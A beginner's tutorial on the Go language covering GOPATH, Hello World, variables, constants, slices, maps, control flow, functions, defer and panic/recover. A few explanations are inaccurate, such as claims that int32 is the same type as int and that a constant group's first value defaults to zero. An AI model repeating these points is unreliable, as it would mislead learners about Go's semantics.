For other languages there are many variables when it comes to writing code, every language is good for its use case, but Go is a little special in that turf because it was designed at a company which is the very synonym of the Internet (and distributed computing), typically the flow of writing code goes from Python to Java to C++ for optimization purposes, but the problem is that almost all languages which are widely in use right now were written decades ago when 1GB storage came at a much higher price compared to now, where storage and computing has gotten cheap. Computers are getting multiples cores these days and the "old languages" don't harness concurrency in a way that go does, not because those languages are bad, but simply because that usecase wasn't relevant when the languages evolved.

So to mitigate all the problems that Google faced with the current tools, they wrote a systems language called Go, which you are about to learn! There are many advantages to using golang, and there might be disadvantages too for every coin has both sides. But significant improvements in places like code formatting, since they designed the language in such a way that there won't be wars on how to format code, the gocode written by anyone in the world (assuming they know and use `gofmt`) will look exactly the same, this won't seem to matter until you work in a team! also when the company uses automated code review or some other fancy technique then in other languages which don't have strict and standard formatting rules then the code might get screwed up, but not in go!

Go was designed with concurrency in mind, please note that parallelism != concurrency, there is an amazing post by Rob Pike on the golang blog, blog.golang.org, you will find it there, it is worth a read.

Another very important change that go has brought in programming that I personally love is the concept of `GOPATH`, gone are the days when you had to create a folder called `code` and then create workspaces for eclipse and what not, now you have to keep one folder tree for go code and it'll be updated by the package manager automatically. Also under the code we are recommended to create folders with either a custom domain or the github domain, for example I created a task manager using golang so I created a set of folders `~/go/src/github.com/thewhitetulip/Tasks` note: In *nix systems `~` stands for home directory, which is the windows equivalent of `C:\\Users\\username` now the `~/go/` is the universe for the gocode in your machine, it is just a significant improvement over other languages so we can store the code efficiently without hassles, it might seem strange at first, but it does make a lot of sense over the ridiculous package names some other languages use like reverse domains.

note: along with src there are two folders `pkg` which is for packages and `bin` which is for binary

This `GOPATH` advantage isn't just restricted to storing code in particular folder, but when you have created five packages for your project then you don't have to import them like `"import ./db"`, you can give it `import "github.com/thewhitetulip/Tasks/db"`, so while doing a `go get` on my repo, the `go` tool will find the package from `github.com/...` path if it wasn't downloaded initially, it just standardizes a lot of screwed up things in the programming discipline.

While some complain that go creators have ignored all language research done since the past 30yrs, well, it might be true, but then again you can' create a product or a language which everyone will fall in love with, there are always some or the other use cases or constraints which the creators should consider, and considering all the advantages at least for web development I do not think any language gets close to the advantages which `go` has even if you ignore all that I said above, go is a compiled language which means in production you'll not setup a `JVM` or a `virtualenv` you will have a single static binary! And like an icing on a cake, all the modern libraries are in the standard library, like the `http`, which is a major advantage, which is the reason you can create webapps in golang without using a third party web framework

2.1 Hello, Go

Before we start building an application in Go, we need to learn how to write a simple program. You can't expect to build a building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section.

Program

According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world".

Are you ready? Let's Go!

```
package main

import "fmt"

func main() {
    fmt.Printf("Hello, world or 你好，世界 or καλημ´ρα κόσμ or こんにちは世界\n")
}
```

It prints following information.

```
Hello, world or 你好，世界 or καλημ´ρα κόσμ or こんにちは世界
```

Explanation

One thing that you should know in the first is that Go programs are composed by `package`.

`package <pkgName>` (In this case is `package main`) tells us this source file belongs to `main` package, and the keyword `main` tells us this package will be compiled to a program instead of package files whose extensions are `.a`.

Every executable program has one and only one `main` package, and you need an entry function called `main` without any arguments or return values in the `main` package.

In order to print `Hello, world…`, we called a function called `Printf`. This function is coming from `fmt` package, so we import this package in the third line of source code, which is `import "fmt"`

The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later.

On the fifth line, we use the keyword `func` to define the `main` function. The body of the function is inside of `{}`, just like C, C++ and Java.

As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values.

On the sixth line, we called the function `Printf` which is from the package `fmt`. This was called by the syntax `<pkgName>.<funcName>`, which is very like Python-style.

As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `<pkgName>` comes from the name in `package <pkgName>`, not the folder's name.

You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs.

Each go file is in some package, and that package should be a distinct folder in the GOPATH, but main is a special package which doesn't require a `main` folder. This is one aspect which they left out for standardization! But should you choose to make a main folder then you have to ensure that you run the binary properly. Also one go code can't have more than one `main` go file.

`~/go/src/github.com/thewhitetulip/Tasks/main $ go build` `~/go/src/github.com/thewhitetulip/Tasks $ ./main/main`

the thing here is that when your code is using some static files or something else, then you ought to run the binary from the root of the application as we see in the second line above, I am running the `main` binary *outside* the main package, sometimes you might wonder why your application isn't working then this might be one of the possible problems, please keep this in mind.

One thing you will notice here is that go doesn't see to use semi colons to end a statement, well, it does, just there is a minor catch, the programmer isn't expected to put semi colons, the compiler adds semi colons to the gocode when it compiles which is the reason that this (thankfully!) is a syntax error

```
func main ()
{
}
```

because the compiler adds a semi colon at the end of `main()` which is a syntax error and as stated above, it helps avoid religious wars, i wish they combine `vim` and `emacs` and create a universal editor which'll help save some more wars! But for now we'll learn Go.

Conclusion

Go uses `package` (like modules in Python) to organize programs. The function `main.main()` (this function must be in the `main` package) is the entry point of any program. Go standardizes language and most of the programming methodology, saving time of developers which they'd have wasted in religious wars. There can be only one main package and only one main function inside a go main package. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go has supported multiple languages from the time it was born.

Links

- Directory
- Previous section: Go basic knowledge
- Next section: Go foundation

2.2 Go foundation

In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming.

Define variables

There are many forms of syntax that can be used to define variables in Go.

The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name.

```
// define a variable with name “variableName” and type "type"
var variableName type
```

Define multiple variables.

```
// define three variables which types are "type"
var vname1, vname2, vname3 type
```

Define a variable with initial value.

```
// define a variable with name “variableName”, type "type" and value "value"
var variableName type = value
```

Define multiple variables with initial values.

```
/*
Define three variables with type "type", and initialize their values.
vname1 is v1, vname2 is v2, vname3 is v3
*/
var vname1, vname2, vname3 type = v1, v2, v3
```

Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the code will look like this instead:

```
/*
Define three variables without type "type", and initialize their values.
vname1 is v1，vname2 is v2，vname3 is v3
*/
var vname1, vname2, vname3 = v1, v2, v3
```

Well, I know this is still not simple enough for you. Let's see how we fix it.

```
/*
Define three variables without type "type" and without keyword "var", and initialize their values.
vname1 is v1，vname2 is v2，vname3 is v3
*/
vname1, vname2, vname3 := v1, v2, v3
```

Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables.

`_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.(***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.***)

```
_, b := 34, 35
```

If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens.

```
package main

func main() {
    var i int
}
```

Constants

So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants.

Define constants as follows.

```
const constantName = value
// you can assign type of constants if it's necessary
const Pi float32 = 3.1415926
```

More examples.

```
const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"
```

Elementary types

Boolean

In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. (***You cannot convert variables' type between number and boolean!***)

```
// sample code
var isActive bool  // global variable
var enabled, disabled = true, false  // omit type of variables
func test() {
    var available bool  // local variable
    valid := false      // brief statement of variable
    available = true    // assign value to variable
}
```

Numerical types

Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`.

One important thing you should know that you cannot assign values between these types, this operation will cause compile errors.

```
var a int8

var b int32

c := a + b
```

Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. (***c will be asserted as type `int` here***)

Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement.

That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is the imaginary number. There is a example of complex number.

```
var c complex64 = 5+5i
//output: (5+5i)
fmt.Printf("Value is: %v", c)
```

String

We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` ``` .

```
// sample code
var frenchHello string  // basic form to define string
var emptyString string = ""  // define a string with empty string
func test() {
    no, yes, maybe := "no", "yes", "maybe"  // brief statement
    japaneseHello := "Ohaiou"
    frenchHello = "Bonjour"  // basic form of assign values
}
```

It's impossible to change string values by index. You will get errors when you compile the following code.

```
var s string = "hello"
s[0] = 'c'
```

What if I really want to change just one character in a string? Try the following code.

```
s := "hello"
c := []byte(s)  // convert string to []byte type
c[0] = 'c'
s2 := string(c)  // convert back to string type
fmt.Printf("%s\n", s2)
```

You use the `+` operator to combine two strings.

```
s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)
```

and also.

```
s := "hello"
s = "c" + s[1:] // you cannot change string values by index, but you can get values instead.
fmt.Printf("%s\n", s)
```

What if I want to have a multiple-line string?

```
m := `hello
world`
```

`` ` `` will not escape any characters in a string.

Error types

Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors.

```
err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
    fmt.Print(err)
}
```

Underlying data structure

The following picture comes from an article about Go data structure in Russ Cox's Blog. As you can see, Go utilizes blocks of memory to store data.

Figure 2.1 Go underlying data structure

Some skills

Define by group

If you want to define multiple constants, variables or import packages, you can use the group form.

Basic form.

```
import "fmt"
import "os"

const i = 100
const pi = 3.1415
const prefix = "Go_"

var i int
var pi float32
var prefix string
```

Group form.

```
import(
    "fmt"
    "os"
)

const(
    i = 100
    pi = 3.1415
    prefix = "Go_"
)

var(
    i int
    pi float32
    prefix string
)
```

Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also.

iota enumerate

Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`.

```
const(
    x = iota  // x == 0
    y = iota  // y == 1
    z = iota  // z == 2
    w  // If there is no expression after the constants name, it uses the last expression,
    //so it's saying w = iota implicitly. Therefore w == 3, and y and z both can omit "= iota" as well.
)

const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0.

const (
  e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line.
)
```

Some rules

The reason that Go is concise because it has some default behaviors.

- Any variable that begins with a capital letter means it will be exported, private otherwise.
- The same rule applies for functions and constants, no `public` or `private` keyword exists in Go.

array, slice, map

array

`array` is an array obviously, we define one as follows.

```
var arr [n]type
```

in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays.

```
var arr [10]int  // an array of type [10]int
arr[0] = 42      // array is 0-based
arr[1] = 13      // assign value to element
fmt.Printf("The first element is %d\n", arr[0])
// get element value, it returns 42
fmt.Printf("The last element is %d\n", arr[9])
//it returns default value of 10th element in this array, which is 0 in this case.
```

Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later.

It's possible to use `:=` when you define arrays.

```
a := [3]int{1, 2, 3} // define an int array with 3 elements

b := [10]int{1, 2, 3}
// define a int array with 10 elements, of which the first three are assigned.
//The rest of them use the default value 0.

c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you.
```

You may want to use arrays as arrays' elements. Let's see how to do this.

```
// define a two-dimensional array with 2 elements, and each element has 4 elements.
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}

// The declaration can be written more concisely as follows.
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}
```

Array underlying data structure.

Figure 2.2 Multidimensional array mapping relationship

slice

In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go.

`slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length.

```
// just like defining an array, but this time, we exclude the length.
var fslice []int
```

Then we define a `slice`, and initialize its data.

```
slice := []byte {'a', 'b', 'c', 'd'}
```

`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length of the slice is `j-i`.

```
// define an array with 10 elements whose types are bytes
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}

// define two slices with type []byte
var a, b []byte

// 'a' points to elements from 3rd to 5th in array ar.
a = ar[2:5]
// now 'a' has elements ar[2],ar[3] and ar[4]

// 'b' is another slice of array ar
b = ar[3:5]
// now 'b' has elements ar[3] and ar[4]
```

Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go calculate length but use `[]` to define slice only.

Their underlying data structure.

Figure 2.3 Correspondence between slice and array

slice has some convenient operations.

- `slice` is 0-based, `ar[:n]` equals to `ar[0:n]`
- The second index will be the length of `slice` if omitted, `ar[n:]` equals to `ar[n:len(ar)]`.
- You can use `ar[:]` to slice whole array, reasons are explained in first two statements.

More examples pertaining to `slice`

```
// define an array
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// define two slices
var aSlice, bSlice []byte

// some convenient operations
aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c
aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j
aSlice = array[:]  // equals to aSlice = array[0:10] aSlice has all elements

// slice from slice
aSlice = array[3:7]  // aSlice has elements d,e,f,g，len=4，cap=7
bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f
bSlice = aSlice[:3]  // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f
bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h
bSlice = aSlice[:]   // bSlice has same elements as aSlice does, which are d,e,f,g
```

`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, `bSlice` will be changed as well.

`slice` is like a struct by definition and it contains 3 parts.

- A pointer that points to where `slice` starts.
- The length of `slice`.
- Capacity, the length from start index to end index of `slice`.

```
Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
Slice_a := Array_a[2:5]
```

The underlying data structure of the code above as follows.

Figure 2.4 Array information of slice

There are some built-in functions for slice.

- `len` gets the length of `slice`.
- `cap` gets the maximum length of `slice`
- `append` appends one or more elements to `slice`, and returns `slice`.
- `copy` copies elements from one slice to the other, and returns the number of elements that were copied.

Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When this happens, other slices pointing to the old array will not be affected.

map

`map` behaves like a dictionary in Python. Use the form `map[keyType]valueType` to define it.

Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are all able to use `==` and `!=` to compare values.

```
// use string as the key type, int as the value type, and `make` initialize it.
var numbers map[string] int
// another way to define map
numbers := make(map[string]int)
numbers["one"] = 1  // assign value by key
numbers["ten"] = 10
numbers["three"] = 3

fmt.Println("The third number is: ", numbers["three"]) // get values
// It prints: The third number is: 3
```

Some notes when you use map.

- `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`.
- `map` doesn't have a fixed length. It's a reference type just like `slice`.
- `len` works for `map` also. It returns how many `key`s that map has.
- It's quite easy to change the value through `map`. Simply use `numbers["one"]=11` to change the value of `key` one to `11`.

You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists.

Use `delete` to delete an element in `map`.

```
// Initialize a map
rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// map has two return values. For the second return value, if the key doesn't
//exist，'ok' returns false. It returns true otherwise.
csharpRating, ok := rating["C#"]
if ok {
        fmt.Println("C# is in the map and its rating is ", csharpRating)
} else {
        fmt.Println("We have no rating associated with C# in the map")
}

delete(rating, "C")  // delete element with key "c"
```

As I said above, `map` is a reference type. If two `map`s point to same underlying data, any change will affect both of them.

```
m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut"  // now the value of m["hello"] is Salut
```

make, new

`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types' memory allocation.

`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's definition, it returns a pointer which points to type `T`'s zero-value.

`new` returns pointers.

The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, and `channel`, and returns a type `T` with an initial value. The reason for doing this is because the underlying data of these three types must be initialized before they point to them. For example, a `slice` contains a pointer that points to the underlying `array`, length and capacity. Before these data are initialized, `slice` is `nil`, so for `slice`, `map` and `channel`, `make` initializes their underlying data and assigns some suitable values.

`make` returns non-zero values.

The following picture shows how `new` and `make` are different.

Figure 2.5 Underlying memory allocation of make and new

Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values.

```
int     0
int8    0
int32   0
int64   0
uint    0x0
rune    0 // the actual type of rune is int32
byte    0x0 // the actual type of byte is uint8
float32 0 // length is 4 byte
float64 0 //length is 8 byte
bool    false
string  ""
```

Links

- Directory
- Previous section: "Hello, Go"
- Next section: Control statements and functions

2.3 Control statements and functions

In this section, we are going to talk about control statements and function operations in Go.

Control statement

The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and unconditional jump.

if

`if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not.

`if` doesn't need parentheses in Go.

```
if x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than or equal to 10")
}
```

The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`.

```
// initialize x, then check if x greater than
if x := computedValue(); x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than 10")
}

// the following code will not compile
fmt.Println(x)
```

Use if-else for multiple conditions.

```
if integer == 3 {
    fmt.Println("The integer is equal to 3")
} else if integer < 3 {
    fmt.Println("The integer is less than 3")
} else {
    fmt.Println("The integer is greater than 3")
}
```

goto

Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block.

```
func myFunc() {
    i := 0
Here:   // label ends with ":"
    fmt.Println(i)
    i++
    goto Here   // jump to label "Here"
}
```

The label name is case sensitive.

for

`for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`.

```
for expression1; expression2; expression3 {
    //...
}
```

`expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed once before looping, and `expression3` will be executed after each loop.

Examples are more useful than words.

```
package main
import "fmt"

func main(){
    sum := 0;
    for index:=0; index < 10 ; index++ {
        sum += index
    }
    fmt.Println("sum is equal to ", sum)
}
// Print：sum is equal to 45
```

Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`.

We can omit `expression1` and `expression3` if they are not necessary.

```
sum := 1
for ; sum < 1000;  {
    sum += sum
}
```

Omit `;` as well. Feel familiar? Yes, it's identical to `while`.

```
sum := 1
for sum < 1000 {
    sum += sum
}
```

There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels.

```
for index := 10; index>0; index-- {
    if index == 5{
        break // or continue
    }
    fmt.Println(index)
}
// break prints 10、9、8、7、6
// continue prints 10、9、8、7、6、4、3、2、1
```

`for` can read data from `slice` and `map` when it is used together with `range`.

```
for k,v:=range map {
    fmt.Println("map's key:",k)
    fmt.Println("map's val:",v)
}
```

Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values.

```
for _, v := range map{
    fmt.Println("map's val:", v)
}
```

switch

Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the `switch` statement to solve this problem.

```
switch sExpr {
case expr1:
    some instructions
case expr2:
    some other instructions
case expr3:
    some other instructions
default:
    other code
}
```

The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`.

```
i := 10
switch i {
case 1:
    fmt.Println("i is equal to 1")
case 2, 3, 4:
    fmt.Println("i is equal to 2, 3 or 4")
case 10:
    fmt.Println("i is equal to 10")
default:
    fmt.Println("All I know is that i is an integer")
}
```

In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the `fallthrough` statement.

```
integer := 6
switch integer {
case 4:
    fmt.Println("integer <= 4")
    fallthrough
case 5:
    fmt.Println("integer <= 5")
    fallthrough
case 6:
    fmt.Println("integer <= 6")
    fallthrough
case 7:
    fmt.Println("integer <= 7")
    fallthrough
case 8:
    fmt.Println("integer <= 8")
    fallthrough
default:
    fmt.Println("default case")
}
```

This program prints the following information.

```
integer <= 6
integer <= 7
integer <= 8
default case
```

Functions

Use the `func` keyword to define a function.

```
func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {
    // function body
    // multi-value return
    return value1, value2
}
```

We can extrapolate the following information from the example above.

- Use keyword `func` to define a function `funcName`.
- Functions have zero, one or more than one arguments. The argument type comes after the argument name and arguments are separated by `,`.
- Functions can return multiple values.
- There are two return values named `output1` and `output2`, you can omit their names and use their type only.
- If there is only one return value and you omitted the name, you don't need brackets for the return values.
- If the function doesn't have return values, you can omit the return parameters altogether.
- If the function has return values, you have to use the `return` statement somewhere in the body of the function.

Let's see one practical example. (calculate maximum value)

```
package main
import "fmt"

// return greater value between a and b
func max(a, b int) int {
    if a > b {
        return a
    }
    return b
}

func main() {
    x := 3
    y := 4
    z := 5

    max_xy := max(x, y) // call function max(x, y)
    max_xz := max(x, z) // call function max(x, z)

    fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
    fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
    fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here
}
```

In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it.

Multi-value return

One thing that Go is better at than C is that it supports multi-value returns.

We'll use the following example here.

```
package main
import "fmt"

// return results of A + B and A * B
func SumAndProduct(A, B int) (int, int) {
return A+B, A*B
}

func main() {
    x := 3
    y := 4

    xPLUSy, xTIMESy := SumAndProduct(x, y)

    fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
    fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
```

The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable.

```
func SumAndProduct(A, B int) (add int, multiplied int) {
    add = A+B
    multiplied = A*B
    return
}
```

Variadic functions

Go supports functions with a variable number of arguments. These functions are called "variadic", which means the function allows an uncertain numbers of arguments.

```
func myfunc(arg ...int) {}
```

`arg ...int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`.

```
for _, n := range arg {
    fmt.Printf("And the number is: %d\n", n)
}
```

Pass by value and pointers

When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable.

Let's see one example in order to prove what i'm saying.

```
package main
import "fmt"

// simple function to add 1 to a
func add1(a int) int {
    a = a+1 // we change value of a
    return a // return new value of a
}

func main() {
    x := 3

    fmt.Println("x = ", x)  // should print "x = 3"

    x1 := add1(x)  // call add1(x)

    fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
    fmt.Println("x = ", x)    // should print "x = 3"
}
```

Can you see that? Even though we called `add1` with `x`, the origin value of `x` doesn't change.

The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself.

Now you may ask how I can pass the real `x` to the function.

We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we want to change the value of a variable, we must change its memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value.

```
package main
import "fmt"

// simple function to add 1 to a
func add1(a *int) int {
    *a = *a+1 // we changed value of a
    return *a // return new value of a
}

func main() {
    x := 3

    fmt.Println("x = ", x)  // should print "x = 3"

    x1 := add1(&x)  // call add1(&x) pass memory address of x

    fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
    fmt.Println("x = ", x)    // should print "x = 4"
}
```

Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages?

- Allows us to use more functions to operate on one variable.
- Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables.
- `string`, `slice` and `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly)

defer

Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples.

```
func ReadWrite() bool {
    file.Open("file")
// Do some work
    if failureX {
        file.Close()
        return false
    }

    if failureY {
        file.Close()
        return false
    }

    file.Close()
    return true
}
```

We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable.

```
func ReadWrite() bool {
    file.Open("file")
    defer file.Close()
    if failureX {
        return false
    }
    if failureY {
        return false
    }
    return true
}
```

If there are more than one `defer` s, they will execute by reverse order. The following example will print `4 3 2 1 0`.

```
for i := 0; i < 5; i++ {
    defer fmt.Printf("%d ", i)
}
```

Functions as values and types

Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type.

```
type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])
```

What's the advantage of this feature? The answer is that it allows us to pass functions as values.

```
package main
import "fmt"

type testInt func(int) bool // define a function type of variable

func isOdd(integer int) bool {
    if integer%2 == 0 {
        return false
    }
    return true
}

func isEven(integer int) bool {
    if integer%2 == 0 {
        return true
    }
    return false
}

// pass the function `f` as an argument to another function

func filter(slice []int, f testInt) []int {
    var result []int
    for _, value := range slice {
        if f(value) {
            result = append(result, value)
        }
    }
    return result
}

func main(){
    slice := []int {1, 2, 3, 4, 5, 7}
    fmt.Println("slice = ", slice)
    odd := filter(slice, isOdd)    // use function as values
    fmt.Println("Odd elements of slice are: ", odd)
    even := filter(slice, isEven)
    fmt.Println("Even elements of slice are: ", even)
}
```

It's very useful when we use interfaces. As you can see `testInt` is a variable that has a function as type and the returned values and arguments of `filter` are the same as those of `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code.

Panic and Recover

Go doesn't have `try-catch` structure like Java does. Instead of throwing exceptions, Go uses `panic` and `recover` to deal with errors. However, you shouldn't use `panic` very much, although it's powerful.

`Panic` is a built-in function to break the normal flow of programs and get into panic status. When a function `F` calls `panic`, `F` will not continue executing but its `defer` functions will continue to execute. Then `F` goes back to the break point which caused the panic status. The program will not terminate until all of these functions return with panic to the first level of that `goroutine`. `panic` can be produced by calling `panic` in the program, and some errors also cause `panic` like array access out of bounds errors.

`Recover` is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status.

The following example shows how to use `panic`.

```
var user = os.Getenv("USER")

func init() {
    if user == "" {
        panic("no value for $USER")
    }
}
```

The following example shows how to check `panic`.

```
func throwsPanic(f func()) (b bool) {
    defer func() {
        if x := recover(); x != nil {
            b = true
        }
    }()
    f() // if f causes panic, it will recover
    return
}
```

`main` function and `init` function

Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package.

Go programs will call `init()` and `main()` automatically, so you don't need to call them by yourself. For every package, the `init` function is optional, but `package main` has one and only one `main` function.

Programs initialize and begin execution from the `main` package. If the `main` package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After importing packages, programs will initialize the constants and variables within the imported packages, then execute the `init` function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in the `main` package, then execute the `init` function inside the package if it exists. The following figure shows the process.

Figure 2.6 Flow of programs initialization in Go

import

We use `import` very often in Go programs as follows.

```
import(
    "fmt"
)
```

Then we use functions in that package as follows.

```
fmt.Println("hello world")
```

